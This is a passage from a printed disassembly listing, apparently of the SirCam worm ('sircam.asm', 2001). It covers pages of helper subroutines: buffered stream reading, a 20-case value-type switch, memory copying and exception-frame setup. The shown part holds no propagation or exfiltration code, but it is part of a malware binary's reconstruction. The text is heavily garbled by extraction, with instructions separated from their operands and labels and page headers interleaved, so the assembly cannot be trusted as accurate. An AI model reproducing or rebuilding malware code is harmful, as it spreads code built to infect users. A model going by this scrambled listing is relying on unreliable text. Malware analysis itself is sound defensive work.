; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40DF09:
; CODE XREF: sub_40DEEC+15\030j
mov
edx, esp
mov
ecx, 1
mov
eax, ebx
call
sub_40DE18
jmp
short loc_40DF2E
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40DF19:
; CODE XREF: sub_40DEEC+19\030j
mov
edx, esp
mov
ecx, 4
mov
eax, ebx
call
sub_40DE18
jmp
short loc_40DF2E
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40DF29:
; CODE XREF: sub_40DEEC+1B\030j
call
sub_40DDC4
loc_40DF2E:
; CODE XREF: sub_40DEEC+2B\030j
; sub_40DEEC+3B\030j
mov
mov
xor
call
mov
mov
mov
call
pop
pop
pop
retn
eax, esi
ecx, [esp+0]
edx, edx
sub_4035B0
edx, [esi]
ecx, [esp+0]
eax, ebx
sub_40DE18
edx
esi
ebx
sircam.asm
sub_40DEEC
Fri Aug 10 12:42:44 2001
395
endp
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40DF4C
proc near
sub_40DF4C
push
mov
mov
call
mov
pop
retn
endp
; CODE XREF: sub_40DDD0+8\030p
; sub_40DDF4+5\030p ...
ecx
edx, esp
ecx, 1
sub_40DE18
al, [esp+0]
edx
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_40DF60
proc near
var_4
= dword ptr -4
; CODE XREF: sub_40E0AC+EF\031p
push
mov
push
push
mov
xor
push
push
push
mov
ebp
ebp, esp
0
ebx
ebx, eax
eax, eax
ebp
offset loc_40DF9C
dword ptr fs:[eax]
fs:[eax], esp
lea
mov
call
cmp
jnz
xor
pop
pop
pop
mov
push
; CODE XREF: sub_40DF60+24\031j
edx, [ebp+var_4]
eax, ebx
sub_40DEB0
[ebp+var_4], 0
short loc_40DF76
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_40DFA3
loc_40DF76:
loc_40DF93:
sub_40DF60
; CODE XREF: CODE:0040DFA1\031j
lea
eax, [ebp+var_4]
call
sub_4034C8
retn
endp ; sp = -10h
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40DF9C:
; DATA XREF: sub_40DF60+B\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_40DF93
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40DFA3:
; DATA XREF: sub_40DF60+2E\030o
pop
ebx
sircam.asm
Fri Aug 10 12:42:44 2001
396
pop
ecx
pop
ebp
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_40DFA8
proc near
arg_0
= dword ptr
; CODE XREF: sub_40E0AC+8D\031p
8
push
ebp
mov
ebp, esp
push
ebx
mov
ebx, [ebp+arg_0]
add
ebx, 0FFFFFFFCh
jmp
short loc_40DFBB
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40DFB4:
; CODE XREF: sub_40DFA8+1C\031j
mov
call
eax, [ebx]
sub_40E0AC
mov
call
test
jz
mov
call
pop
pop
retn
endp
eax, [ebx]
sub_40DDF4
al, al
short loc_40DFB4
eax, [ebx]
sub_40DEA8
ebx
ebp
loc_40DFBB:
sub_40DFA8
; CODE XREF: sub_40DFA8+A\030j
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_40DFD0
proc near
var_100
arg_0
= byte ptr -100h
= dword ptr 8
push
mov
add
push
mov
test
jle
; CODE XREF: sub_40E024+1E\031p
; sub_40E04C+29\031p ...
ebp
ebp, esp
esp, 0FFFFFF00h
ebx
ebx, eax
ebx, ebx
short loc_40E01F
loc_40DFE0:
; CODE XREF: sub_40DFD0+4D\031j
cmp
ebx, 100h
jle
short loc_40E006
lea
edx, [ebp+var_100]
mov
eax, [ebp+arg_0]
mov
eax, [eax-4]
mov
ecx, 100h
call
sub_40DE18
sub
ebx, 100h
jmp
short loc_40E01B
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40E006:
; CODE XREF: sub_40DFD0+16\030j
sircam.asm
Fri Aug 10 12:42:44 2001
lea
mov
mov
mov
call
xor
edx, [ebp+var_100]
eax, [ebp+arg_0]
eax, [eax-4]
ecx, ebx
sub_40DE18
ebx, ebx
test
jg
ebx, ebx
short loc_40DFE0
pop
mov
pop
retn
endp
ebx
esp, ebp
ebp
loc_40E01B:
; CODE XREF: sub_40DFD0+34\030j
loc_40E01F:
sub_40DFD0
397
; CODE XREF: sub_40DFD0+E\030j
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_40E024
proc near
; CODE XREF: sub_40E0AC+E4\031p
; sub_40E0AC+F7\031p ...
var_4
arg_0
= dword ptr -4
= dword ptr 8
sub_40E024
push
mov
push
lea
mov
mov
mov
call
mov
push
mov
call
pop
pop
pop
retn
endp
ebp
ebp, esp
ecx
edx, [ebp+var_4]
eax, [ebp+arg_0]
eax, [eax-4]
ecx, 4
sub_40DE18
eax, [ebp+arg_0]
eax
eax, [ebp+var_4]
sub_40DFD0
ecx
ecx
ebp
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_40E04C
proc near
arg_0
= dword ptr
; CODE XREF: sub_40E0AC+100\031p
8
push
ebp
mov
ebp, esp
push
ebx
mov
ebx, [ebp+arg_0]
add
ebx, 0FFFFFFFCh
jmp
short loc_40E096
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40E058:
; CODE XREF: sub_40E04C+53\031j
mov
call
add
eax, [ebx]
sub_40DE08
al, 0FEh
sircam.asm
Fri Aug 10 12:42:44 2001
sub
jnb
mov
call
398
al, 3
short loc_40E06C
eax, [ebx]
sub_40E0AC
loc_40E06C:
; CODE XREF: sub_40E04C+17\030j
mov
eax, [ebp+arg_0]
push
eax
mov
eax, 1
call
sub_40DFD0
pop
ecx
jmp
short loc_40E084
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40E07D:
; CODE XREF: sub_40E04C+41\031j
mov
call
eax, [ebx]
sub_40E214
mov
call
test
jz
mov
call
eax, [ebx]
sub_40DDF4
al, al
short loc_40E07D
eax, [ebx]
sub_40DEA8
mov
call
test
jz
mov
call
pop
pop
retn
endp
eax, [ebx]
sub_40DDF4
al, al
short loc_40E058
eax, [ebx]
sub_40DEA8
ebx
ebp
loc_40E084:
; CODE XREF: sub_40E04C+2F\030j
loc_40E096:
sub_40E04C
; CODE XREF: sub_40E04C+A\030j
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_40E0AC
proc near
var_8
var_4
= dword ptr -8
= dword ptr -4
; CODE XREF: sub_40DDD0+16\030p
; sub_40DFA8+E\030p ...
push
ebp
mov
ebp, esp
add
esp, 0FFFFFFF8h
xor
edx, edx
mov
[ebp+var_8], edx
mov
[ebp+var_4], eax
xor
eax, eax
push
ebp
push
offset loc_40E209
push
dword ptr fs:[eax]
mov
fs:[eax], esp
mov
eax, [ebp+var_4]
call
sub_40DF4C
and
eax, 7Fh
cmp
eax, 13h
; switch 20 cases
ja
loc_40E1F3
; default
jmp
ds:off_40E0E3[eax*4] ; switch jump
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
off_40E0E3
dd offset loc_40E1F3
; DATA XREF: sub_40E0AC+30\030r
sircam.asm
Fri Aug 10 12:42:44 2001
399
dd offset loc_40E138
; jump table for switch statement
dd offset loc_40E144
dd offset loc_40E155
dd offset loc_40E166
dd offset loc_40E174
dd offset loc_40E182
dd offset loc_40E182
dd offset loc_40E1F3
dd offset loc_40E1F3
dd offset loc_40E18F
dd offset loc_40E198
dd offset loc_40E1A2
dd offset loc_40E1F3
dd offset loc_40E1AB
dd offset loc_40E1B4
dd offset loc_40E1C2
dd offset loc_40E1D0
dd offset loc_40E1DE
dd offset loc_40E1E7
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
loc_40E1F3
; default
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40E138:
; CODE XREF: sub_40E0AC+30\030j
; DATA XREF: sub_40E0AC+37\030o
; case 0x1
push
ebp
call
sub_40DFA8
pop
ecx
jmp
loc_40E1F3
; default
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40E144:
; CODE XREF: sub_40E0AC+30\030j
; DATA XREF: sub_40E0AC+37\030o
; case 0x2
push
ebp
mov
eax, 1
call
sub_40DFD0
pop
ecx
jmp
loc_40E1F3
; default
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40E155:
; CODE XREF: sub_40E0AC+30\030j
; DATA XREF: sub_40E0AC+37\030o
; case 0x3
push
ebp
mov
eax, 2
call
sub_40DFD0
pop
ecx
jmp
loc_40E1F3
; default
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40E166:
; CODE XREF: sub_40E0AC+30\030j
; DATA XREF: sub_40E0AC+37\030o
; case 0x4
push
ebp
mov
eax, 4
call
sub_40DFD0
pop
ecx
jmp
short loc_40E1F3 ; default
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40E174:
; CODE XREF: sub_40E0AC+30\030j
; DATA XREF: sub_40E0AC+37\030o
; case 0x5
push
ebp
mov
eax, 0Ah
call
sub_40DFD0
pop
ecx
jmp
short loc_40E1F3 ; default
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40E182:
lea
; CODE XREF: sub_40E0AC+30\030j
; DATA XREF: sub_40E0AC+37\030o
edx, [ebp+var_8] ; case 0x6
sircam.asm
Fri Aug 10 12:42:44 2001
400
mov
eax, [ebp+var_4]
call
sub_40DEB0
jmp
short loc_40E1F3 ; default
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40E18F:
; CODE XREF: sub_40E0AC+30\030j
; DATA XREF: sub_40E0AC+37\030o
; case 0xa
push
ebp
call
sub_40E024
pop
ecx
jmp
short loc_40E1F3 ; default
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40E198:
; CODE XREF: sub_40E0AC+30\030j
; DATA XREF: sub_40E0AC+37\030o
mov
eax, [ebp+var_4] ; case 0xb
call
sub_40DF60
jmp
short loc_40E1F3 ; default
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40E1A2:
; CODE XREF: sub_40E0AC+30\030j
; DATA XREF: sub_40E0AC+37\030o
; case 0xc
push
ebp
call
sub_40E024
pop
ecx
jmp
short loc_40E1F3 ; default
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40E1AB:
; CODE XREF: sub_40E0AC+30\030j
; DATA XREF: sub_40E0AC+37\030o
; case 0xe
push
ebp
call
sub_40E04C
pop
ecx
jmp
short loc_40E1F3 ; default
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40E1B4:
; CODE XREF: sub_40E0AC+30\030j
; DATA XREF: sub_40E0AC+37\030o
; case 0xf
push
ebp
mov
eax, 4
call
sub_40DFD0
pop
ecx
jmp
short loc_40E1F3 ; default
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40E1C2:
; CODE XREF: sub_40E0AC+30\030j
; DATA XREF: sub_40E0AC+37\030o
; case 0x10
push
ebp
mov
eax, 8
call
sub_40DFD0
pop
ecx
jmp
short loc_40E1F3 ; default
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40E1D0:
; CODE XREF: sub_40E0AC+30\030j
; DATA XREF: sub_40E0AC+37\030o
; case 0x11
push
ebp
mov
eax, 8
call
sub_40DFD0
pop
ecx
jmp
short loc_40E1F3 ; default
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40E1DE:
; CODE XREF: sub_40E0AC+30\030j
; DATA XREF: sub_40E0AC+37\030o
; case 0x12
push
ebp
call
sub_40E024
pop
ecx
jmp
short loc_40E1F3 ; default
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
sircam.asm
Fri Aug 10 12:42:44 2001
loc_40E1E7:
push
mov
call
pop
ebp
eax, 8
sub_40DFD0
ecx
; CODE XREF: sub_40E0AC+30\030j
; DATA XREF: sub_40E0AC+37\030o
; case 0x13
loc_40E1F3:
xor
pop
pop
pop
mov
push
; CODE XREF: sub_40E0AC+2A\030j
; sub_40E0AC+30\030j ...
; default
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_40E210
loc_40E200:
sub_40E0AC
401
; CODE XREF: CODE:0040E20E\031j
lea
eax, [ebp+var_8]
call
sub_4034C8
retn
endp ; sp = -10h
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40E209:
; DATA XREF: sub_40E0AC+11\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_40E200
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40E210:
; DATA XREF: sub_40E0AC+14F\030o
pop
pop
pop
retn
ecx
ecx
ebp
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_40E214
proc near
var_4
= byte ptr -4
; CODE XREF: sub_40E04C+33\030p
push
mov
push
push
mov
xor
push
push
push
mov
lea
mov
call
mov
call
xor
pop
pop
pop
mov
push
ebp
ebp, esp
0
ebx
ebx, eax
eax, eax
ebp
offset loc_40E251
dword ptr fs:[eax]
fs:[eax], esp
edx, [ebp+var_4]
eax, ebx
sub_40DEB0
eax, ebx
sub_40E0AC
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_40E258
lea
call
eax, [ebp+var_4]
sub_4034C8
loc_40E248:
; CODE XREF: CODE:0040E256\031j
sircam.asm
sub_40E214
Fri Aug 10 12:42:44 2001
402
retn
endp ; sp = -10h
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40E251:
; DATA XREF: sub_40E214+B\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_40E248
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40E258:
; DATA XREF: sub_40E214+2F\030o
pop
pop
pop
retn
ebx
ecx
ebp
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40E25C
proc near
; CODE XREF: sub_40E2D0+2C\031p
; sub_40E2D0+45\031p ...
push
esi
push
edi
push
ebx
mov
esi, edx
mov
ebx, ecx
mov
edi, eax
jmp
short loc_40E29D
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40E267:
; CODE XREF: sub_40E25C+43\031j
mov
sub
ja
mov
call
mov
ecx, [edi+0Ch]
ecx, [edi+10h]
short loc_40E279
eax, edi
sub_40E2A8
ecx, [edi+0Ch]
cmp
jb
mov
ecx, ebx
short loc_40E27F
ecx, ebx
loc_40E279:
; CODE XREF: sub_40E25C+11\030j
loc_40E27F:
; CODE XREF: sub_40E25C+1F\030j
sub
ebx, ecx
push
edi
mov
eax, [edi+8]
add
eax, [edi+10h]
add
[edi+10h], ecx
mov
edi, eax
mov
edx, ecx
shr
ecx, 2
cld
repe movsd
mov
ecx, edx
and
ecx, 3
repe movsb
pop
edi
loc_40E29D:
sub_40E25C
; CODE XREF: sub_40E25C+9\030j
or
jnz
pop
pop
pop
retn
endp
ebx, ebx
short loc_40E267
ebx
edi
esi
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
sircam.asm
Fri Aug 10 12:42:44 2001
403
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40E2A8
sub_40E2A8
proc near
push
ebx
mov
ebx, eax
mov
edx, [ebx+8]
mov
ecx, [ebx+10h]
mov
eax, [ebx+4]
call
sub_40D8BC
xor
eax, eax
mov
[ebx+10h], eax
pop
ebx
retn
endp
; CODE XREF: sub_40E25C+15\030p
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40E2C0
sub_40E2C0
proc near
mov
dl, 1
call
sub_40E32C
retn
endp
; CODE XREF: sub_40D210+25\030p
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40E2C8
sub_40E2C8
proc near
xor
edx, edx
call
sub_40E32C
retn
endp
; CODE XREF: sub_40D210+5B\030p
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40E2D0
proc near
; CODE XREF: sub_40D210+4F\030p
push
ebx
push
esi
push
ecx
mov
esi, edx
mov
ebx, eax
mov
eax, esi
call
sub_403724
mov
[esp+0], eax
cmp
dword ptr [esp+0], 0FFh
jg
short loc_40E303
mov
dl, 6
mov
eax, ebx
call
sub_40E32C
mov
edx, esp
mov
ecx, 1
mov
eax, ebx
call
sub_40E25C
jmp
short loc_40E31A
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40E303:
; CODE XREF: sub_40E2D0+18\030j
mov
mov
call
mov
mov
mov
dl, 0Ch
eax, ebx
sub_40E32C
edx, esp
ecx, 4
eax, ebx
sircam.asm
Fri Aug 10 12:42:44 2001
call
sub_40E25C
mov
mov
mov
call
